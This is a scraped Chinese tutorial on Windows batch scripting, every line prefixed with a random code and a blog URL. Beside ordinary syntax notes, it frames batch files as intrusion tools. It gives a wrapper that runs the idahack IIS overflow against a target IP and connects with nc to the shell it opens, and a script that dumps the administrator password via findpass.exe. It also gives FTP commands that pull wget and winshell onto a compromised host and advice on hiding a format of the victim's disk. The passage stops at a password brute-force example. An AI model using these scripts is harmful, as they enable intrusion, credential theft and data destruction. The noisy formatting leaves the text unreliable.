You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
p5zIJf http://blog.numino.net/
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
jjWzDJ http://blog.numino.net/
To create the variable value new&name, type:
SSHwOK http://blog.numino.net/
set varname=new^&name
Sk2bTL http://blog.numino.net/
To create the variable value "new&name", type:
CkDzP1 http://blog.numino.net/
set varname="new&name"
4UYR2l http://blog.numino.net/
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
7V1GU3 http://blog.numino.net/
find "Pacific Rim" < trade.txt > nwtrade.txt
143fid http://blog.numino.net/
IF EXIST filename. (del filename.) ELSE echo filename. missing
k689ml http://blog.numino.net/
> 创建一个文件
uT9ql9 http://blog.numino.net/
>> 追加到一个文件后面
zay951 http://blog.numino.net/
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
H08yUu http://blog.numino.net/
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
B74kfR http://blog.numino.net/
echo 123456 ^> aaa
5PWSNR http://blog.numino.net/
echo 1231231 > bbb
88Mj8q http://blog.numino.net/
() 包含命令
9fjzN0 http://blog.numino.net/
(echo aa & echo bb)
U2c4DS http://blog.numino.net/
, 和空格一样的缺省分隔符号.
piIThq http://blog.numino.net/
; 注释,表示后面为注释
l3H1P0 http://blog.numino.net/
: 标号作用
Xdi5K6 http://blog.numino.net/
| 管道操作
I56hhT http://blog.numino.net/
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
A07SPI http://blog.numino.net/
用这种方法可以同时执行多条命令,而不管命令是否执行成功
HNjnrV http://blog.numino.net/
dir c:.exe & dir d:.exe & dir e:.exe
a03MKB http://blog.numino.net/
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
4138Sn http://blog.numino.net/
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
I5VJ41 http://blog.numino.net/
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
nhGJCo http://blog.numino.net/
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
wL7fEm http://blog.numino.net/
常用语法格式
tOO65X http://blog.numino.net/
IF [NOT] ERRORLEVEL number command para1 para2
j3A99R http://blog.numino.net/
IF [NOT] string1==string2 command para1 para2
P1sag5 http://blog.numino.net/
IF [NOT] EXIST filename command para1 para2
UmCGOT http://blog.numino.net/
IF EXIST filename command para1 para2
XsOn44 http://blog.numino.net/
IF NOT EXIST filename command para1 para2
j0KHfO http://blog.numino.net/
IF "%1"=="" goto END
4ysa3V http://blog.numino.net/
IF "%1"=="net" goto NET
LBgRGN http://blog.numino.net/
IF NOT "%2"=="net" goto OTHER
M4ippf http://blog.numino.net/
IF ERRORLEVEL 1 command para1 para2
Z35kz8 http://blog.numino.net/
IF NOT ERRORLEVEL 1 command para1 para2
8ahDj3 http://blog.numino.net/
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
4JtBN5 http://blog.numino.net/
FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k
k3BWuJ http://blog.numino.net/
按照字母顺序 ijklmnopq依次取参数.
tAQ4C1 http://blog.numino.net/
eol=c - 指一个行注释字符的结尾(就一个)
2Njt8e http://blog.numino.net/
skip=n - 指在文件开始时忽略的行数。
bp8FJ9 http://blog.numino.net/
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
zSAD76 http://blog.numino.net/
######################################################################
tM7cah http://blog.numino.net/
4. 简单批处理文件概念
btXEv1 http://blog.numino.net/
######################################################################
UhUdSo http://blog.numino.net/
echo This is test > a.txt
71Liy4 http://blog.numino.net/
type a.txt
MET4zp http://blog.numino.net/
echo This is test 11111 >> a.txt
dsyj77 http://blog.numino.net/
type a.txt
JksA40 http://blog.numino.net/
echo This is test 22222 > a.txt
oS921q http://blog.numino.net/
type a.txt
Uy4t5u http://blog.numino.net/
第二个echo是追加
sFmwmB http://blog.numino.net/
第三个echo将清空a.txt 重新创建 a.txt
TO9Ra3 http://blog.numino.net/
netstat -n | find "3389"
at91c7 http://blog.numino.net/
这个将要列出所有连接3389的用户的ip.
HK4Mai http://blog.numino.net/
test.bat__
81flFI http://blog.numino.net/
@echo please care
1zFoRH http://blog.numino.net/
echo plese care 1111
bWh0Za http://blog.numino.net/
echo plese care 2222
3yeJl5 http://blog.numino.net/
echo plese care 3333
Z0rR2i http://blog.numino.net/
@echo please care
x17gb9 http://blog.numino.net/
@echo plese care 1111
p32Tev http://blog.numino.net/
@echo plese care 2222
dkW6S1 http://blog.numino.net/
@echo plese care 3333
69vw43 http://blog.numino.net/
rem 不显示注释语句,本行显示
0hgXC3 http://blog.numino.net/
@rem 不显示注释语句,本行不显示
o66dUx http://blog.numino.net/
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
dGIRR5 http://blog.numino.net/
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
J17Rdv http://blog.numino.net/
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
0BVbR0 http://blog.numino.net/
ida.bat_
WlnhjJ http://blog.numino.net/
@rem ver 1.0
E7C55y http://blog.numino.net/
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
0Xh8oj http://blog.numino.net/
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
hRtn5B http://blog.numino.net/
@if "%1" =="" goto USAGE
1s6ouG http://blog.numino.net/
@if NOT "%2" =="" goto SP2
FNn9C1 http://blog.numino.net/
:start
YpeIPM http://blog.numino.net/
@echo Now start ...
00MR6N http://blog.numino.net/
@ping %1
A4LBkl http://blog.numino.net/
@echo chinese win2k:1 sp1:2 sp2:3
aF6IUQ http://blog.numino.net/
idahack.exe %1 80 1 99 >%temp%_tmp
4vxADx http://blog.numino.net/
@echo "prog exit code [%errorlevel%] idahack.exe"
7N1yZ3 http://blog.numino.net/
@type %temp%_tmp
fe88ID http://blog.numino.net/
@find "good luck :)" %temp%_tmp
71RLNx http://blog.numino.net/
@echo "prog exit code [%errorlevel%] find [goog luck]"
po6Jf9 http://blog.numino.net/
@if NOT errorlevel 1 nc.exe %1 99
QP7e2b http://blog.numino.net/
@goto END
n1PhHC http://blog.numino.net/
:SP2
HVQdG6 http://blog.numino.net/
@idahack.exe %1 80 %2 99 %temp%_tmp
qPFiv5 http://blog.numino.net/
@type %temp%_tmp
rIamwf http://blog.numino.net/
@find "good luck :)" %temp%tmp
cVgQzx http://blog.numino.net/
@if NOT errorlevel 1 nc.exe %1 99
N581X1 http://blog.numino.net/
@goto END
SB6B1J http://blog.numino.net/
:USAGE
bZ9nZx http://blog.numino.net/
@echo Example: ida.bat IP
D9Fhgn http://blog.numino.net/
@echo Example: ida.bat IP (2,3)
15W1hj http://blog.numino.net/
:END
8b7ahV http://blog.numino.net/
ida.batEND
mDQyxw http://blog.numino.net/
下面我们再来第二个文件.就是得到administrator的口令.
sfEvGK http://blog.numino.net/
大多数人说得不到.其实是自己的没有输入正确的信息.
jAWkTp http://blog.numino.net/
fpass.bat
4WE75Z http://blog.numino.net/
@rem ver 1.0
Img5rB http://blog.numino.net/
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
azruS8 http://blog.numino.net/
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
TybETs http://blog.numino.net/
@echo start....
OpTITS http://blog.numino.net/
@echo
j1NcSa http://blog.numino.net/
@if "%1"=="" goto USAGE
x3YJeA http://blog.numino.net/
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
Lrv87T http://blog.numino.net/
@echo "prog exit code [%errorlevel%] findpass.exe"
9KhY31 http://blog.numino.net/
@type %temp%_findpass.txt
j4YiWi http://blog.numino.net/
@echo Herepass★★★★★★★★
IZZFJw http://blog.numino.net/
@ipconfig /all >>%temp%_findpass.txt
220zQ4 http://blog.numino.net/
@goto END
12Sl43 http://blog.numino.net/
:USAGE
aDbduM http://blog.numino.net/
@pulist.exe >%temp%_pass.txt
dbm3P3 http://blog.numino.net/
@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt
n8m7s0 http://blog.numino.net/
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
W0gIw6 http://blog.numino.net/
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
V325lh http://blog.numino.net/
:END
2LOMdt http://blog.numino.net/
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
450IUe http://blog.numino.net/
@echo " fpass.bat end [%errorlevel%] !"
7426Zd http://blog.numino.net/
fpass.batEND__
5A4k0Y http://blog.numino.net/
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
vEb3CN http://blog.numino.net/
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
Hc29t1 http://blog.numino.net/
echo open 210.64.x.4 3396>w
cik4v6 http://blog.numino.net/
echo read>>w
mUgswz http://blog.numino.net/
echo read>>w
sqNccK http://blog.numino.net/
echo cd winnt>>w
9m4AcT http://blog.numino.net/
echo binary>>w
ViLZos http://blog.numino.net/
echo pwd >>w
1dZwnw http://blog.numino.net/
echo get wget.exe >>w
r2KF3p http://blog.numino.net/
echo get winshell.exe >>w
0IJv24 http://blog.numino.net/
echo get any.exe >>w
6Vj0K1 http://blog.numino.net/
echo quit >>w
8pHSEq http://blog.numino.net/
ftp -s:w
qi2i2j http://blog.numino.net/
批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的,必须借助DOS操作。
0J0Ui0 http://blog.numino.net/
  必备常识:批处理的编写和修改
gf9sJm http://blog.numino.net/
  打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。
Iqscj8 http://blog.numino.net/
  批处理运用一:扫描本地端口
VDe0Pj http://blog.numino.net/
  这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。
R9NIEW http://blog.numino.net/
  然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。
qa2Cl5 http://blog.numino.net/
  
CmD6pe http://blog.numino.net/
  代码:
6dsnYv http://blog.numino.net/
  netstat -n
M4YF83 http://blog.numino.net/
  pause
ZwC7dN http://blog.numino.net/
  附:也可在每一行开头添上“@”,这样命令就不会显示出来。
7mF5u1 http://blog.numino.net/
  
58Ik5E http://blog.numino.net/
  批处理运用二:查常见病毒
4X7u41 http://blog.numino.net/
  其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。
452qcu http://blog.numino.net/
  我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。
sGXW63 http://blog.numino.net/
  下面,我以欢乐时光为例进行分析:
478v4q http://blog.numino.net/
 
104Zty http://blog.numino.net/
  主文件:1.bat
HWzRuM http://blog.numino.net/
  其它文件:2.bat 3.bat
fzADY5 http://blog.numino.net/
  
H0kPYn http://blog.numino.net/
  1.bat代码:
N5c1Ao http://blog.numino.net/
  @if exist c:\folder.htt call 2.bat
va0J7i http://blog.numino.net/
  @if exist d:\folder.htt call 2.bat
pXMjV0 http://blog.numino.net/
  @if exist e:\folder.htt call 2.bat
A9g126 http://blog.numino.net/
  @if exist f:\folder.htt call 2.bat
X8Wr1C http://blog.numino.net/
  
QBEMN3 http://blog.numino.net/
  2.bat代码:
cOswlO http://blog.numino.net/
  @echo 发现欢乐时光病毒!
3ADEKr http://blog.numino.net/
  @call 3.bat
Q19HdF http://blog.numino.net/
  @pause
3k5Oez http://blog.numino.net/
  
79oOgn http://blog.numino.net/
  3.bat代码:
q4DEEz http://blog.numino.net/
  @c:
xIlFZw http://blog.numino.net/
  @dir .htt .ini /s/a>1.txt
PGROoL http://blog.numino.net/
  @d:
mX5Qpw http://blog.numino.net/
  @dir .htt .ini /s/a>1.txt
5ytfnA http://blog.numino.net/
  @e:
135XPp http://blog.numino.net/
  @dir .htt .ini /s/a>1.txt
bN2zlG http://blog.numino.net/
  
4V5h7t http://blog.numino.net/
  这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。
pKSeJo http://blog.numino.net/
  批处理运用三:文件处理
Na00j7 http://blog.numino.net/
  假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此,用批处理进行操作,不但简单易行,而且容易发现错误并可以及时纠正。
nGUWfR http://blog.numino.net/
  例如,我要将D盘的htm文件移动到E盘,再格式化D盘,然后将文件移回D盘,并改后缀为html。
88tpad http://blog.numino.net/
  
cT2KmG http://blog.numino.net/
  1.bat代码:
9ouzsC http://blog.numino.net/
  @E:
oitJZ6 http://blog.numino.net/
  @Md d
YSPhdD http://blog.numino.net/
  @D:
410BnV http://blog.numino.net/
  @Copy .htm e:\d
9seFHP http://blog.numino.net/
  @if exist e:\d.htm call 2.bat
35V23j http://blog.numino.net/
  **
o9xY5P http://blog.numino.net/
  2.bat代码:
0bhvh7 http://blog.numino.net/
  @Format d:/q
Rulyf9 http://blog.numino.net/
  @Copy e:\d.htm d:
H81M3G http://blog.numino.net/
  @D:
2Qd5oW http://blog.numino.net/
  @Ren .htm .html
nyi7EM http://blog.numino.net/
  
o7wd5u http://blog.numino.net/
  从例子中,可以看出,如果一旦出现问题,是很容易被发现的。从而,也证明了批处理的可用性。
0JSYZZ http://blog.numino.net/
  关于批处理的运用,可以说博大精深,变化莫测。希望大家能够用DOS命令去优化它,这样才能让其更好的为我们服务。
re8qFG http://blog.numino.net/
批处理命令
wQ9i73 http://blog.numino.net/
1.Echo 命令
8R9stq http://blog.numino.net/
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
R8YPvw http://blog.numino.net/
语法:echo [{on|off}] [message]
Qjxl7I http://blog.numino.net/
Sample:echo off / echo hello world
VzTeta http://blog.numino.net/
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
Z3jSNm http://blog.numino.net/
2.@ 命令
85RNnz http://blog.numino.net/
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Z15su5 http://blog.numino.net/
Sample:@echo off
4A8riq http://blog.numino.net/
@echo Now initializing the program,please wait a minite...
jB3UAs http://blog.numino.net/
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
hPojo1 http://blog.numino.net/
3.Goto 命令
xJu2g8 http://blog.numino.net/
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
ZXiVau http://blog.numino.net/
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
n3Tqu6 http://blog.numino.net/
Sample:
juFeGB http://blog.numino.net/
if {%1}=={} goto noparms
x9PpZc http://blog.numino.net/
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
1OTtTH http://blog.numino.net/
@Rem check parameters if null show usage
15mo1M http://blog.numino.net/
:noparms
mzFYdS http://blog.numino.net/
echo Usage: monitor.bat ServerIP PortNumber
jv1A7N http://blog.numino.net/
goto end
7fuh2z http://blog.numino.net/
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
gFSVt8 http://blog.numino.net/
4.Rem 命令
CWSP28 http://blog.numino.net/
注释命令,在C语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
pi51g1 http://blog.numino.net/
Rem Message
cp8ohk http://blog.numino.net/
Sample:@Rem Here is the description.
r316oP http://blog.numino.net/
5.Pause 命令
3pgUwA http://blog.numino.net/
运行 Pause 命令时,将显示下面的消息:
4YWrsf http://blog.numino.net/
Press any key to continue . . .
fPTTNq http://blog.numino.net/
Sample:
1gG4sG http://blog.numino.net/
@echo off
sN0MgJ http://blog.numino.net/
:begin
Z8kZ8O http://blog.numino.net/
copy a:. d:\back
N5E5pv http://blog.numino.net/
echo Please put a new disk into driver A
84HjmF http://blog.numino.net/
pause
Tg4yZ8 http://blog.numino.net/
goto begin
RHltN9 http://blog.numino.net/
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
JyDQSy http://blog.numino.net/
6.Call 命令
77r9FO http://blog.numino.net/
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
FeJ8kj http://blog.numino.net/
语法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
3W5BvI http://blog.numino.net/
参数:[Drive:}[Path] FileName
W9O9Lc http://blog.numino.net/
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
ja5wkE http://blog.numino.net/
7.start 命令
I4s0V9 http://blog.numino.net/
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
2HQVz7 http://blog.numino.net/
入侵常用参数:
2x8uL4 http://blog.numino.net/
MIN 开始时窗口最小化
0Tf02Y http://blog.numino.net/
SEPARATE 在分开的空间内开始 16 位 Windows 程序
wWTDy1 http://blog.numino.net/
HIGH 在 HIGH 优先级类别开始应用程序
f6UNxk http://blog.numino.net/
REALTIME 在 REALTIME 优先级类别开始应用程序
knrPXn http://blog.numino.net/
WAIT 启动应用程序并等候它结束
oZDXKD http://blog.numino.net/
parameters 这些为传送到命令/程序的参数
Do43yX http://blog.numino.net/
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
Zy3f0s http://blog.numino.net/
8.choice 命令
sHmCAf http://blog.numino.net/
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
V7TXT3 http://blog.numino.net/
如: choice /c:dme defrag,mem,end
EeS8c8 http://blog.numino.net/
将显示
Xs4jtI http://blog.numino.net/
defrag,mem,end[D,M,E]?
VK199H http://blog.numino.net/
Sample:
Q2LU4t http://blog.numino.net/
Sample.bat的内容如下:
0KyG7I http://blog.numino.net/
@echo off
V8Ybd8 http://blog.numino.net/
choice /c:dme defrag,mem,end
bDeCkG http://blog.numino.net/
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
Bzx4gv http://blog.numino.net/
if errorlevel 2 goto mem
Ryj4dT http://blog.numino.net/
if errotlevel 1 goto end
fJ0qHQ http://blog.numino.net/
:defrag
IWg51G http://blog.numino.net/
c:\dos\defrag
39mE1b http://blog.numino.net/
goto end
YM6PtZ http://blog.numino.net/
:mem
WcKUO8 http://blog.numino.net/
mem
2Iqbqt http://blog.numino.net/
goto end
D9glKL http://blog.numino.net/
:end
BzRenJ http://blog.numino.net/
echo good bye
LWi9M3 http://blog.numino.net/
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
BAuNNX http://blog.numino.net/
9.If 命令
VxCS10 http://blog.numino.net/
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
JnsItm http://blog.numino.net/
1、if "参数" == "字符串" 待执行的命令
zCZu47 http://blog.numino.net/
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
9hKr0h http://blog.numino.net/
如if "%1"=="a" format a:
BWhLU6 http://blog.numino.net/
if {%1}=={} goto noparms
k9yFfM http://blog.numino.net/
if {%2}=={} goto noparms
Ngxo7b http://blog.numino.net/
2、if exist 文件名 待执行的命令
d246p2 http://blog.numino.net/
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
RuQ9M8 http://blog.numino.net/
如if exist config.sys edit config.sys
PSuBvl http://blog.numino.net/
3、if errorlevel / if not errorlevel 数字 待执行的命令
Yhi2ar http://blog.numino.net/
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
MuTr8H http://blog.numino.net/
如if errorlevel 2 goto x2
2b47ry http://blog.numino.net/
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
Ohmyd7 http://blog.numino.net/
10.for 命令
jvOyCU http://blog.numino.net/
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
qG0aYM http://blog.numino.net/
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
URalJm http://blog.numino.net/
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
kL0sAg http://blog.numino.net/
%variable 指定一个单一字母可替换的参数。
0N5PUZ http://blog.numino.net/
(set) 指定一个或一组文件。可以使用通配符。
LqV4NP http://blog.numino.net/
command 指定对每个文件执行的命令。
cC82Ig http://blog.numino.net/
command-parameters 为特定命令指定参数或命令行开关。
1tFLu8 http://blog.numino.net/
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
vMvCU5 http://blog.numino.net/
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
4C6Q5F http://blog.numino.net/
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
yLaR3d http://blog.numino.net/
支持:
3FT9k3 http://blog.numino.net/
FOR /D %variable IN (set) DO command [command-parameters]
9uk7wN http://blog.numino.net/
如果集中包含通配符,则指定与目录名匹配,而不与文件
ZR6j93 http://blog.numino.net/
名匹配。
tW4ngU http://blog.numino.net/
FOR /R [[drive:]path] %variable IN (set) DO command [command-
6Ua2C5 http://blog.numino.net/
检查以 [drive:]path 为根的目录树,指向每个目录中的
eIY516 http://blog.numino.net/
FOR 语句。如果在 /R 后没有指定目录,则使用当前
0AhNtS http://blog.numino.net/
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
tXXDW1 http://blog.numino.net/
FOR /L %variable IN (start,step,end) DO command [command-para
mE5ek0 http://blog.numino.net/
该集表示以增量形式从开始到结束的一个数字序列。
jAM058 http://blog.numino.net/
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
K5guZp http://blog.numino.net/
序列 (5 4 3 2 1)。
dcx9Xg http://blog.numino.net/
FOR /F ["options"] %variable IN (file-set) DO command
mOBwO3 http://blog.numino.net/
FOR /F ["options"] %variable IN ("string") DO command
zk4YY7 http://blog.numino.net/
FOR /F ["options"] %variable IN (command) DO command
N5L7nt http://blog.numino.net/
或者,如果有 usebackq 选项:
2Ky9nv http://blog.numino.net/
FOR /F ["options"] %variable IN (file-set) DO command
nbVPrj http://blog.numino.net/
FOR /F ["options"] %variable IN ("string") DO command
16Y7U3 http://blog.numino.net/
FOR /F ["options"] %variable IN (command) DO command
ludzuB http://blog.numino.net/
filenameset 为一个或多个文件名。继续到 filenameset 中的
Tea0Hn http://blog.numino.net/
下一个文件之前,每份文件都已被打开、读取并经过处理。
y2a282 http://blog.numino.net/
处理包括读取文件,将其分成一行行的文字,然后将每行
785cSq http://blog.numino.net/
解析成零或更多的符号。然后用已找到的符号字符串变量值
BxVOH5 http://blog.numino.net/
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
lJeLMZ http://blog.numino.net/
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
7QXEf5 http://blog.numino.net/
参数替代默认解析操作。这个带引号的字符串包括一个或多个
aiSCt6 http://blog.numino.net/
指定不同解析选项的关键字。这些关键字为:
kuA8sE http://blog.numino.net/
eol=c - 指一个行注释字符的结尾(就一个)
y79gz8 http://blog.numino.net/
skip=n - 指在文件开始时忽略的行数。
Vr6ozD http://blog.numino.net/
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
KQ71s4 http://blog.numino.net/
默认分隔符集。
dfkwn8 http://blog.numino.net/
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
YU4XTi http://blog.numino.net/
的 for 本身。这会导致额外变量名称的
mx87L8 http://blog.numino.net/
格式为一个范围。通过 nth 符号指定 m
Guwykr http://blog.numino.net/
符号字符串中的最后一个字符星号,
9LF6JL http://blog.numino.net/
那么额外的变量将在最后一个符号解析之
5H49vZ http://blog.numino.net/
分配并接受行的保留文本。
3TvOqy http://blog.numino.net/
usebackq - 指定新语法已在下类情况中使用:
rjBKvA http://blog.numino.net/
在作为命令执行一个后引号的字符串并且
FiGzkn http://blog.numino.net/
引号字符为文字字符串命令并允许在 fi
E5ubf5 http://blog.numino.net/
中使用双引号扩起文件名称。
WMfs27 http://blog.numino.net/
sample1:
W3R2h3 http://blog.numino.net/
FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do command
Hp1E5e http://blog.numino.net/
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
aH8224 http://blog.numino.net/
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
dNax7v http://blog.numino.net/
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
r6Q7lI http://blog.numino.net/
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
0NnGYa http://blog.numino.net/
来取得第三个符号后的所有剩余符号。对于带有空格的文件
4IBo6o http://blog.numino.net/
名,您需要用双引号将文件名括起来。为了用这种方式来使
8pPLMh http://blog.numino.net/
用双引号,您还需要使用 usebackq 选项,否则,双引号会
jNEjky http://blog.numino.net/
被理解成是用作定义某个要分析的字符串的。
RqwChM http://blog.numino.net/
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
g6PoeE http://blog.numino.net/
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
pi3EMk http://blog.numino.net/
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
5iHgCc http://blog.numino.net/
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
4P6wDU http://blog.numino.net/
同时不能有 52 个以上都在使用中。
cCLQyi http://blog.numino.net/
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
6XHY0a http://blog.numino.net/
用单引号将括号之间的 filenameset 括起来。这样,该字符
bKoQLD http://blog.numino.net/
串会被当作一个文件中的一个单一输入行。
V9D1h0 http://blog.numino.net/
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
lYtExT http://blog.numino.net/
括号之间的 filenameset 变成一个反括字符串。该字符串会
TO5c8L http://blog.numino.net/
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
SL235Q http://blog.numino.net/
内存,并被当作文件分析。因此,以下例子:
s2U6pB http://blog.numino.net/
FOR /F "usebackq delims==" %i IN (set) DO @echo %i
OKxAmu http://blog.numino.net/
会枚举当前环境中的环境变量名称。
BQItWu http://blog.numino.net/
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
7pDUM1 http://blog.numino.net/
选项语法:
Ip6PfA http://blog.numino.net/
~I - 删除任何引号("),扩充 %I
h9zWXH http://blog.numino.net/
%~fI - 将 %I 扩充到一个完全合格的路径名
bo6c2Y http://blog.numino.net/
%~dI - 仅将 %I 扩充到一个驱动器号
0q0O17 http://blog.numino.net/
%~pI - 仅将 %I 扩充到一个路径
P0cQ2c http://blog.numino.net/
%~nI - 仅将 %I 扩充到一个文件名
0fRBzQ http://blog.numino.net/
%~xI - 仅将 %I 扩充到一个文件扩展名
r078Dp http://blog.numino.net/
%~sI - 扩充的路径只含有短名
87fFP3 http://blog.numino.net/
%~aI - 将 %I 扩充到文件的文件属性
VDjj4C http://blog.numino.net/
%~tI - 将 %I 扩充到文件的日期/时间
ivj2FA http://blog.numino.net/
%~zI - 将 %I 扩充到文件的大小
Kb6CB1 http://blog.numino.net/
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
t61qxG http://blog.numino.net/
到找到的第一个完全合格的名称。如果环境变量
A6n50z http://blog.numino.net/
未被定义,或者没有找到文件,此组合键会扩充
hBRkX7 http://blog.numino.net/
空字符串
0Bupa3 http://blog.numino.net/
可以组合修饰符来得到多重结果:
JSifGw http://blog.numino.net/
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
qmvGS1 http://blog.numino.net/
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
38B4cX http://blog.numino.net/
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
0k2OAW http://blog.numino.net/
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
X5n8LG http://blog.numino.net/
到找到的第一个驱动器号和路径。
54GlJv http://blog.numino.net/
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
e1C96H http://blog.numino.net/
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
hE04vN http://blog.numino.net/
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
3a2au9 http://blog.numino.net/
比较易读,而且避免与不分大小写的组合键混淆。
uaKwtN http://blog.numino.net/
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
pW25ju http://blog.numino.net/
sample2:
2K9XqA http://blog.numino.net/
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
Ny7O0W http://blog.numino.net/
